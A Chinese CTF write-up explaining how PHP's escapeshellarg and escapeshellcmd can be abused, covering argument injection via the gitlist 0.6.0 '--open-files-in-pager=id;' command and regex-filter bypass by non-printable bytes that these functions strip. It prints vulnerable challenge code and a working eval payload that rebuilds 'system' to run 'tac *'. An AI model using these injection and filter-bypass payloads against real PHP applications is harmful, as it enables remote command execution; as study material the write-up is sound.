浅谈 escapeshellarg 的利用
0 前言
escapeshellarg
的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)
在 CTF 可能被用于:
- 参数注入(开发人员错误的使用
escapeshellarg
函数) - 逃逸字符(该函数非二进制安全)
1 参数注入
基本用法:
<?php
echo escapeshellarg('Hello');
// 输出值为:'Hello'
echo escapeshellarg('Hello\'');
// 输出值为:'Hello'\'''(在命令行使用 echo 'Hello'\''',只会输出 Hello')
即前言所说,会把字符串转码为 shell 中的参数。
这里摘录p牛的文章《谈escapeshellarg绕过与参数注入漏洞》中的几句关键的话
- 这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。
- 单引号并不是区分一个字符串是“参数值”或“选项”的标准。
我们需要先理解一下“参数值”和“参数选项”。下面:
21:42:46 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat -name
cat: invalid option -- 'a'
Try 'cat --help' for more information.
# 注意上面是 -- 'a',因为命令行在进行分析的时候,-n 被识别为 option
21:44:00 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat --name
cat: unrecognized option '--name'
Try 'cat --help' for more information.
21:44:07 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat name
cat: name: No such file or directory
-----------------------------------------------------------------
21:44:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat -abc
cat: invalid option -- 'a'
Try 'cat --help' for more information.
21:47:04 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat --abc
cat: unrecognized option '--abc'
Try 'cat --help' for more information.
21:47:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat abc
cat: abc: No such file or directory
Linux 中通常使用 -
或者 --
来作为选项(Option)的标识符,而没有 abc 则回被作为参数值。当然也可以取消这种差异,在参数前使用 --
,如下所示:
21:47:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat abc
cat: abc: No such file or directory
21:47:23 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ✗
➜ cat -- --abc
cat: --abc: No such file or directory
在了解“参数”和“选项”后,我们可知在命令后使用 escapeshellarg
并不能阻止命令执行(参数和选项并不依靠单引号)。如 gitlist 0.6.0远程命令执行漏洞,下面是该项目在执行过程中生成的命令:
git grep -i --line-number -e '--open-files-in-pager=id;' master
# 其中 --open-files-in-pager 的参数会被执行。
escapeshellarg
可以逃逸并达到执行命令的关键:
- 函数参数可控
- 执行的命令中有执行命令的选项(类似 “–open-files-in-pager=id;” 的等号形式)
感觉利用条件还是非常苛刻的。
2 逃逸字符
2.1 cat flag
在 2021 DASCTF 的 《cat flag》题目中,有考察到这个知识点。题目源码:
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
通过 hint 可知,flag 在this_is_final_flag_e2a457126032b42d.php
文件中(访问 /var/log/nginx/access.log 可知,感觉这里脑洞挺大的,没啥意思,重点在后面)。
文件名 this_is_final_flag_e2a457126032b42d.php
中含有 flag
关键字,这里怎么来读取呢?我想不出来了,看 ha1c9on
师傅的题解《DASCTF 2021.07》,但感觉他的解释有点牵强,不知道他是怎么想到的……,ha1c9on
师傅说是做题做多了,直觉,膜。
先读nginx日志
/var/log/nginx/access.log
/this_is_final_flag_e2a457126032b42d.php
然后unicode绕一下flag正则
/?cmd=this_is_final_fl%faag_e2a457126032b42d.php
(这里的 %fa 不是 unicode,是不可见字符。是
Windows-1252
字符集中的编码,传送门)
我看了下 PHP
的源码(不是很看得懂),但 PHP 源码中指明了“该函数非二进制安全”,该函数在处理字符串时,重新申请了内存空间,并对字符逐个处理,应该是没有对不可见字符进行处理,从而导致了不可见字符消失。
2.2 freepoint
在昨天的 2021 年 BSides Noida CTF 比赛中,我无意间也想到了利用这种方法来绕过正则的检测。在这里简化一下题目。
<?php
$payload = '';
$code = urldecode($payload);
function filter($str)
{
if (preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i", $str)) {
return false;
} else {
return true;
}
}
if (filter($code) == 1) {
eval($code . ";");
} else {
die("18cm30p !! :< ");
}
在题目中过滤了很多命令执行的函数。还有两段比较关键的正则\'[a-z]
和\"[a-z0-9]
,也就是字母无法和引号接触。
通常这种正则的绕过,都是采用编码转义的方式来绕过的。
- 不可见字符又可以让
preg _match
函数中的正则检测失效 escapeshellcmd
又可以将不可见字符消除- 最终 eval 能执行正常的字符串。
这里可以写一个小 demo 来进行测试:
<?php
echo escapeshellcmd(urldecode('%aasy%aastem%aa'));
// 输出:system
?>
最后得到 Payload 为:
eval(sprintf('%s%s%s%s%s', escapeshellcmd(urldecode('%aasys%aatem%aa')), '(\'',escapeshellcmd(urldecode('%aatac')), ' *' ,'\');'))
// tac *
// 注意:* 等特殊字符不能放在 escapeshellcmd 中。
3 总结
escapeshellarg
利用的关键点:
- 参数注入:当开发人员错误的使用,可能导致代码执行。
- 代码执行:去掉字符串中的不可见字符。